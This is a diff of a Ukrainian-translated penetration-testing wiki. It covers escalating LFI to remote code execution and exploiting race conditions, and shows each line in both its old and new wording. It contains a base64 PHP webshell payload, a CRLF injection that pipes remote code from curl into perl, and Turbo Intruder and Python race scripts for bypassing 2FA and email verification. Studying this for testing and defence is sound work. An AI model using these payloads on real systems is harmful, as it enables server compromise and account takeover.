Якщо ssh активний — перевірте, який user використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) та спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
### **Через** **vsftpd** _**логи**_
### **Через** **vsftpd** _**logs**_
Логи FTP-сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У випадку, якщо є Local File Inclusion (LFI) вразливість і доступ до відкритого vsftpd сервера можливий, можна розглянути такі кроки:
Логи FTP-сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У випадку, якщо існує вразливість Local File Inclusion (LFI) і є доступ до відкритого vsftpd сервера, можна розглянути наступні кроки:
1. Інжектуйте PHP payload в поле username під час процесу входу.
2. Після інжекції використайте LFI, щоб витягти логи сервера з _**/var/log/vsftpd.log**_.
1. Інжектуйте PHP payload у поле username під час процесу входу.
2. Після інжекції використайте LFI, щоб отримати логи сервера з _**/var/log/vsftpd.log**_.
### Через php base64 filter (з використанням base64)
### Через php base64 filter (using base64)
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", він просто ігноруватиме "." і додаватиме "php" до base64. Ось приклад payload:
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує символи, що не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви передасте base64, який закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Через php filters (файл не потрібен)
### Через php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це фактично означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
Цей [**розбір**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вихід. Це по суті означає, що ви можете **generate arbitrary php code** для include **без необхідності записувати** його у файл.
{{#ref}}
@ -579,14 +578,14 @@ lfi2rce-via-php-filters.md
### Через segmentation fault
**Upload** файл, який буде збережений як **temporary** в `/tmp`, потім в **same request,** спричиніть **segmentation fault**, після чого **temporary file won't be deleted** і ви зможете його знайти.
**Завантажте** файл, який буде збережено як **тимчасовий** у `/tmp`, потім у **тому ж запиті** викличте **segmentation fault**, і тоді **тимчасовий файл не буде видалено** і ви зможете його знайти.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Через Nginx temp file storage
### Через збереження тимчасових файлів Nginx
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
@ -597,16 +596,16 @@ lfi2rce-via-nginx-temp-files.md
### Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** в **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE:
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` встановлено в `Off`. Якщо ви передасте **`PHP_SESSION_UPLOAD_PROGRESS`** в **multipart POST** даних, PHP **увімкне сесію за вас**. Ви можете зловживати цим, щоб отримати RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Через temp file uploads in Windows
### Через завантаження тимчасових файлів у Windows
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, можливо, ви зможете отримати RCE:
{{#ref}}
@ -615,13 +614,13 @@ lfi2rce-via-temp-file-uploads.md
### Через `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням в php docker images. Більше того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Як [**пояснено в цьому дописі**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker images. Більше того, можна передавати аргументи скрипту через URL, бо вказано, що якщо URL-параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Наведено приклад зловживання CRLF vuln для отримання RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Наведене зловживає CRLF vuln, щоб отримати RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +629,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Через phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, який показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}}
@ -639,7 +638,7 @@ lfi2rce-via-phpinfo.md
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP-маркування**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що буде включений, має PHP marks**, ви можете спробувати **обійти цю перевірку** за допомогою цієї **Race Condition**:
{{#ref}}
@ -648,7 +647,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **повісити** виконання PHP, ви потім можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
Якщо ви можете зловживати LFI для **upload temporary files** і змусити сервер **hang** виконання PHP, ви тоді могли б **brute force імена файлів протягом годин**, щоб знайти тимчасовий файл:
{{#ref}}
@ -657,10 +656,10 @@ lfi2rce-via-eternal-waiting.md
### До Fatal Error
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
**Я не знаю, наскільки це корисно, але можливо, що може бути.**\
_Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, які були завантажені, видаляються._
**Я не знаю, наскільки це корисно, але можливо.**\
_Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, що були завантажені, видаляються._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

View File

@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Для глибокого розуміння цієї техніки ознайомтеся з оригінальним звітом у [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> Щоб отримати глибоке розуміння цієї техніки, перегляньте оригінальний звіт за адресою [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Покращення атак Race Condition
## Посилення атак Race Condition
Головна перешкода для використання race conditions — забезпечити обробку кількох запитів одночасно, з дуже малою різницею в часі обробки — ідеально менше ніж 1ms.
Головна перешкода в реалізації race condition — це забезпечити обробку кількох запитів одночасно з дуже малою різницею в часі обробки — ідеально менше 1ms.
Тут наведено деякі методи синхронізації запитів:
Тут наведено кілька технік для синхронізації запитів:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Підтримує надсилання двох запитів по одному TCP-з’єднанню, що зменшує вплив мережевого jitter. Однак через варіації на серверній стороні двох запитів може бути недостатньо для стабільного експлойту race condition.
- **HTTP/1.1 'Last-Byte Sync'**: Дозволяє попередньо відправити більшу частину 2030 запитів, утримуючи невеликий фрагмент, який потім надсилається разом, досягаючи одночасного прибуття на сервер.
- **HTTP/2**: Дозволяє відправляти два запити по одному TCP-з'єднанню, зменшуючи вплив мерехтіння мережі. Однак через варіації на стороні сервера двох запитів може бути недостатньо для стабільної експлуатації race condition.
- **HTTP/1.1 'Last-Byte Sync'**: Дає змогу попередньо відправити більшість частин 2030 запитів, утримуючи невеликий фрагмент, який потім відправляється разом, забезпечуючи одночасне надходження на сервер.
Підготовка до Last-Byte Sync включає:
Підготовка для Last-Byte Sync включає:
1. Надіслати headers і body data за винятком останнього байта, не закриваючи stream.
2. Почекати ~100ms після початкової відправки.
3. Вимкнути TCP_NODELAY, щоб використати Nagle's algorithm для батьчингу фінальних фреймів.
4. Виконати ping для "прогрівання" з'єднання.
1. Відправлення заголовків і тіла без останнього байта без завершення потоку.
2. Пауза на ~100ms після початкової відправки.
3. Вимкнення TCP_NODELAY для використання алгоритму Nagle для пакетування останніх фреймів.
4. Пінгування для «прогріву» з'єднання.
Подальша відправка утримуваних фреймів має призвести до їхнього прибуття в одному пакеті, що можна перевірити через Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не залучені в RC-атаках.
Подальша відправка утримуваних фреймів має призвести до їхнього надходження в одному пакеті — це можна перевірити у Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не залучені в RC attacks.
### Адаптація до архітектури сервера
Розуміння архітектури цілі є критично важливим. Front-end servers можуть маршрутизувати запити по-різному, що впливає на таймінги. Попереднє прогрівання з'єднань на серверній стороні за допомогою неістотних запитів може нормалізувати час обробки запитів.
Розуміння архітектури цілі критично важливе. Front-end servers можуть маршрутизувати запити по-різному, що впливає на таймінг. Попереднє «прогрівання» з'єднання на стороні сервера за допомогою незначних запитів може нормалізувати час обробки запитів.
#### Робота з блокуванням на основі сесій
#### Обробка блокування на основі сесій
Фреймворки, як-от PHP's session handler, серіалізують запити за сесією, що може приховувати вразливості. Використання різних session tokens для кожного запиту може обійти цю проблему.
#### Подолання обмежень швидкості або ресурсів
Якщо прогрівання з’єднання не ефективне, штучне викликання затримок через ліміти швидкості або ресурсів веб-сервера (флуд допоміжних запитів) може сприяти single-packet attack, індукуючи серверну затримку, сприятливу для race conditions.
Якщо прогрівання з'єднань неефективне, навмисне викликання затримок через обмеження швидкості або ресурсів веб-серверів шляхом потоку фіктивних запитів може сприяти single-packet attack, індукуючи на стороні сервера затримку, сприятливу для race conditions.
## Приклади атак
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Ви можете надіслати запит у **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), у запиті змінити значення, яке хочете перебрати для **`%s`**, наприклад `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** у випадаючому списку:
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Ви можете надіслати запит у Turbo intruder (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), змінити в запиті значення, яке хочете brute force для **`%s`**, як у `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** із випадаючого списку:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Якщо ви збираєтеся відправляти різні значення, ви можете модифікувати код цим прикладом, який використовує wordlist із буфера обміну:
Якщо ви збираєтеся відправляти різні значення, можна змінити код цим варіантом, який використовує wordlist з буфера обміну:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Якщо веб не підтримує HTTP2 (тільки HTTP1.1), використовуйте `Engine.THREADED` або `Engine.BURP` замість `Engine.BURP2`.
> Якщо веб-сайт не підтримує HTTP2 (лише HTTP1.1), використовуйте `Engine.THREADED` або `Engine.BURP` замість `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: У випадку, якщо потрібно відправити request до 1 endpoint, а потім кілька до інших endpoint-ів, щоб викликати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось на кшталт:
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: У випадку, якщо потрібно відправити запит до 1 endpoint, а потім кілька запитів до інших endpoint'ів, щоб викликати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось на кшталт:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Це також доступно в **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite.
- Для **limit-overrun** ви можете просто додати **той самий запит 50 разів** до групи.
- Також доступно в **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite.
- Для **limit-overrun** ви можете просто додати в групу **той самий запит 50 разів**.
- Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до якоїсь нестатичної частини веб-сервера.
- Для **delaying** процесу **між** обробкою **одного запиту та іншого** у 2 substates steps, ви можете **додати додаткові запити між** обома запитами.
- Для **multi-endpoint** RC ви можете почати надсилати **запит**, що **переходить у прихований стан**, а потім відправити **50 запитів** одразу після нього, які **експлуатують прихований стан**.
- Для **delaying** процесу **між** обробкою **одного запиту і іншого** у двоетапному процесі ви можете **додати додаткові запити між** обома запитами.
- Для **multi-endpoint** RC ви можете почати надсилати **запит**, який **попадає в прихований стан**, а потім **50 запитів** одразу після нього, які **експлуатують прихований стан**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: Мета цього скрипта — змінити email користувача, постійно перевіряючи його, поки токен підтвердження нового email не надійде на останню електронну адресу (це тому, що в коді спостерігалася RC, в якій було можливо змінити email, але верифікація відправлялася на стару адресу, бо змінна, що вказує email, вже була заповнена першою).\
Коли в отриманих листах знайдено слово "objetivo", ми знаємо, що отримали токен підтвердження зміненого email і припиняємо атаку.
- **Автоматизований python-скрипт**: Мета цього скрипта — змінити email користувача, постійно перевіряючи його, поки токен підтвердження нового email не надійде на останню пошту (це сталося через те, що в коді виявлявся RC, де можна було змінити email, але підтвердження відправлялося на старий, бо змінна, яка вказує email, вже була заповнена першим).\
Коли в отриманих email знаходиться слово "objetivo", ми знаємо, що отримали токен підтвердження зміненого email і завершимо атаку.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Покращення Single Packet Attack
#### Turbo Intruder: engine and gating notes
У первісному дослідженні пояснюється, що ця атака має ліміт 1,500 байт. Однак у [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) показано, як можна розширити обмеження в 1,500 байт single packet attack до **65,535 B window limitation of TCP by using IP layer fragmentation** (розбиттям одного пакета на кілька IP-пакетів) і відправляти їх у різному порядку, що перешкоджає збиранню пакета, поки всі фрагменти не дійдуть до сервера. Ця техніка дозволила досліднику надіслати 10,000 запитів приблизно за 166ms.
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the singlepacket attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 lastbyte sync.
- `gate`/`openGate`: queue many copies with `gate='race1'` (or perattempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
Зауважте, що хоча це покращення робить атаку більш надійною в RC, яка вимагає сотень/тисяч пакетів, що прибувають одночасно, воно також може стикатися з програмними обмеженнями. Деякі популярні HTTP-сервери, як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` значенням 100, 128 і 250 відповідно. Однак інші, як NodeJS і nghttp2, мають це без обмежень.\
Це фактично означає, що Apache розглядатиме лише 100 HTTP-з’єднань з однієї TCP-з’єднання (обмежуючи цю RC-атаку).
Деякі приклади використання цієї техніки можна знайти в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
### Improving Single Packet Attack
У первинному дослідженні пояснюється, що ця атака має обмеження в 1,500 байт. Проте, в [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), було пояснено, як можна розширити обмеження в 1,500 байт single packet attack до **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) і відправляти їх у різному порядку, що дозволяє запобігти збиранню пакета, поки всі фрагменти не дістались до сервера. Ця техніка дозволила досліднику відправити 10,000 запитів приблизно за 166ms.
Зверніть увагу, що хоча це покращення робить атаку більш надійною в RC, яка вимагає сотень/тисяч пакетів дістатися одночасно, воно також може мати програмні обмеження. Деякі популярні HTTP-сервери, такі як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` на 100, 128 і 250 відповідно. Проте інші, як NodeJS і nghttp2, мають його необмеженим.\
Це фактично означає, що Apache розглядатиме лише 100 HTTP-з'єднань з одного TCP-з'єднання (обмежуючи цю RC-атаку).
Приклади використання цієї техніки можна знайти в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
До попереднього дослідження використовувалися payloadи, які просто намагалися відправляти пакети якнайшвидше, щоб спричинити RC.
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
- **Repeater:** Перевірте приклади з попереднього розділу.
- **Intruder**: Надішліть **request** до **Intruder**, встановіть **number of threads** на **30** у меню **Options**, виберіть як payload **Null payloads** і згенеруйте **30**.
- **Repeater:** Перегляньте приклади з попереднього розділу.
- **Intruder**: Відправте **request** до **Intruder**, встановіть **number of threads** на **30** в меню **Options**, виберіть як payload **Null payloads** і згенеруйте **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -283,71 +291,71 @@ asyncio.run(main())
### Перевищення ліміту / TOCTOU
Це найпростіший тип race condition, коли вразливості **з’являються** у місцях, що **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж знижкового коду у веб-магазині кілька разів. Дуже простий приклад можна знайти в [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**this bug**](https://hackerone.com/reports/759247)**.**
Це найпростіший тип race condition, де **vulnerabilities** з'являються у місцях, які **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж промокоду у веб-магазині кілька разів. Дуже простий приклад можна знайти в [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**this bug**](https://hackerone.com/reports/759247)**.**
Існує багато варіацій такого типу атаки, зокрема:
- Використання подарункової карти кілька разів
- Повторне використання подарункової картки кілька разів
- Оцінювання продукту кілька разів
- Зняття або переказ коштів понад баланс рахунку
- Повторне використання одного й того ж CAPTCHA рішення
- Обхід anti-brute-force rate limit
- Зняття або переказ коштів понад залишок на рахунку
- Повторне використання одного рішення CAPTCHA
- Обхід обмеження швидкості (rate limit), що захищає від brute-force
### **Приховані підстани**
Експлуатація складних race conditions часто включає використання коротких вікон можливостей для взаємодії з прихованими або **непередбаченими підстанами машини**. Ось як підходити до цього:
Експлуатація складних race conditions часто передбачає використання коротких можливостей для взаємодії з прихованими або **непередбаченими підстанами машини**. Ось як до цього підходити:
1. **Виявити потенційні приховані підстани**
- Почніть з визначення endpoints, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Зосередьтесь на:
- **Storage**: Віддавайте перевагу endpoints, які маніпулюють стійкими даними на боці сервера над тими, що обробляють дані на клієнті.
- **Action**: Шукайте операції, що змінюють існуючі дані — вони більш імовірно створюють експлойтабельні умови порівняно з операціями, що додають нові дані.
- **Keying**: Успішні атаки зазвичай залежать від операцій, що використовують той самий ідентифікатор, напр., username або reset token.
2. **Провести початкове зондування**
- Перевіряйте виявлені endpoints за допомогою race condition атак, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Неочікувані відповіді або зміни в поведінці застосунку можуть свідчити про вразливість.
3. **Демонструвати вразливість**
- Зведіть атаку до мінімальної кількості запитів, необхідних для її експлуатації, часто це лише два запити. Цей крок може вимагати багато спроб або автоматизації через точність часу.
1. **Виявлення потенційних прихованих підстан**
- Почніть з виявлення endpoints, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Звертайте увагу на:
- **Storage**: Напрямляйтеся до endpoints, які маніпулюють серверними персистентними даними, а не тими, що обробляють дані на стороні клієнта.
- **Action**: Шукайте операції, які змінюють існуючі дані — вони частіше створюють умови, що піддаються експлуатації, порівняно з операціями додавання нових даних.
- **Keying**: Успішні атаки зазвичай включають операції, прив'язані до одного і того ж ідентифікатора, наприклад username або reset token.
2. **Проведення початкового зондування**
- Тестуйте виявлені endpoints за допомогою атак на race condition, спостерігаючи за будь-якими відхиленнями від очікуваної поведінки. Несподівані відповіді або зміни у поведінці застосунку можуть вказувати на вразливість.
3. **Демонстрація вразливості**
- Звузьте атаку до мінімальної кількості запитів, необхідних для експлуатації вразливості, часто це всього два запити. Цей крок може вимагати кількох спроб або автоматизації через точність таймінгу.
### Атаки, чутливі до часу
### Часочутливі атаки
Точність у таймінгу запитів може виявити вразливості, особливо коли для security tokens використовують передбачувані методи, такі як timestamps. Наприклад, генерація password reset tokens на основі timestamps може дозволити ідентичні токени для одночасних запитів.
Точність у таймінгу запитів може виявити вразливості, особливо коли для security tokens використовуються передбачувані методи, як-от timestamps. Наприклад, генерація password reset tokens на основі timestamps може дозволити отримати ідентичні tokens для одночасних запитів.
**Щоб експлуатувати:**
- Використовуйте точний таймінг, наприклад single packet attack, щоб зробити одночасні password reset requests. Ідентичні tokens вказують на вразливість.
- Використовуйте точний таймінг, наприклад single packet attack, щоб виконати одночасні password reset запити. Ідентичні tokens вказують на вразливість.
**Приклад:**
- Запитайте два password reset tokens одночасно та порівняйте їх. Якщо tokens співпадають — це свідчить про помилку в генерації токенів.
- Запитайте два password reset tokens одночасно і порівняйте їх. Якщо токени співпадають — це вказує на помилку в генерації токенів.
**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **.**
**Перегляньте** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **щоб спробувати це.**
## Кейси прихованих підстан
### Pay & add an Item
### Оплатити та додати товар
Перегляньте [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), щоб побачити, як **оплатити** у магазині та **додати додатковий** товар, за який **не доведеться платити**.
Перегляньте [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) щоб побачити, як **оплатити** у магазині та **додати додатковий** товар, за який **не доведеться платити**.
### Confirm other emails
### Підтвердження інших email
Ідея в тому, щоб **перевірити email-адресу та одночасно змінити її на іншу**, щоб з’ясувати, чи платформа підтверджує нову адресу.
Ідея полягає в тому, щоб **підтвердити email-адресу і одночасно змінити її на іншу**, щоб з'ясувати, чи платформа підтверджує нову зміну.
### Change email to 2 emails addresses Cookie based
### Зміна email на 2 адреси на основі Cookie
Згідно з [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab був уразливий до takeover таким чином, бо він міг **надіслати** **email verification token** однієї адреси на іншу адресу.
Згідно з [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab була вразлива до takeover таким чином, бо могла **відправити email verification token одного email іншому email**.
**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **.**
**Перегляньте** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **щоб спробувати це.**
### Hidden Database states / Confirmation Bypass
### Приховані стани бази даних / Обхід підтвердження
Якщо для додавання інформації в базу даних використовуються 2 різні операції запису, існує короткий проміжок часу, коли записано лише перші дані. Наприклад, при створенні користувача username і password можуть бути записані, а потім записується token для підтвердження нового акаунта. Це означає, що протягом короткого часу token для підтвердження акаунта може бути null.
Якщо для додавання інформації в **database** використовуються **2 різні записи**, існує невеликий проміжок часу, коли в базі даних записані **тільки перші дані**. Наприклад, при створенні користувача **username** і **password** можуть бути записані, а **потім token** для підтвердження новоствореного облікового запису записується пізніше. Це означає, що протягом невеликого проміжку часу **token для підтвердження облікового запису є null**.
Тому реєстрація акаунта та відправка кількох запитів з порожнім token (`token=` або `token[]=` або будь-яка інша варіація) для миттєвого підтвердження акаунта може дозволити **підтвердити акаунт**, де ви не контролюєте email.
Тому **реєстрація облікового запису та відправка кількох запитів з пустим token** (`token=` або `token[]=` або будь-який інший варіант) для негайного підтвердження може дозволити **підтвердити обліковий запис**, де ви не контролюєте email.
**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **.**
**Перегляньте** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **щоб спробувати це.**
### Обхід 2FA
Наступний псевдокод вразливий до race condition, бо протягом дуже короткого часу **2FA не застосовується**, поки створюється session:
Наведений pseudo-code вразливий до race condition, тому що в дуже короткий проміжок часу **2FA не застосовується**, поки створюється session:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -355,14 +363,14 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 вічна персистентність
### OAuth2 eternal persistence
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ці сервіси дозволяють створити application та автентифікувати користувачів, зареєстрованих у провайдера. Щоб це зробити, **клієнт** повинен **дозволити вашому додатку** доступ до частини їхніх даних всередині **OAUth provider**.\
Отже, до цього моменту це просто звичайний вхід через google/linkedin/github..., де вам показують сторінку з повідомленням: _Application \<InsertCoolName> wants to access your information, do you want to allow it?_
#### Race Condition in `authorization_code`
Проблема виникає, коли ви **погоджуєтесь** і автоматично надсилається **`authorization_code`** до зловмисного додатка. Далі цей додаток зловживає Race Condition у OAUth-провайдера, щоб згенерувати більше ніж один AT/RT (Authentication Token/Refresh Token) з `authorization_code` для вашого акаунта. По суті, він використовує те, що ви дозволили додатку доступ до ваших даних, щоб **створити кілька акаунтів**. Якщо ви припините дозволяти додатку доступ до своїх даних, одна пара AT/RT буде видалена, але інші все одно залишаться дійсними.
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Потім цей application зловживає Race Condition у OAUth service provider, щоб згенерувати більше ніж один AT/RT (Authentication Token/Refresh Token) з `authorization_code` для вашого облікового запису. По суті, воно зловживає тим, що ви дозволили додатку доступ до ваших даних, щоб **створити кілька облікових записів**. Якщо ви перестанете дозволяти додатку доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними.
#### Race Condition in `Refresh Token`
@ -371,7 +379,7 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
## **RC in WebSockets**
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
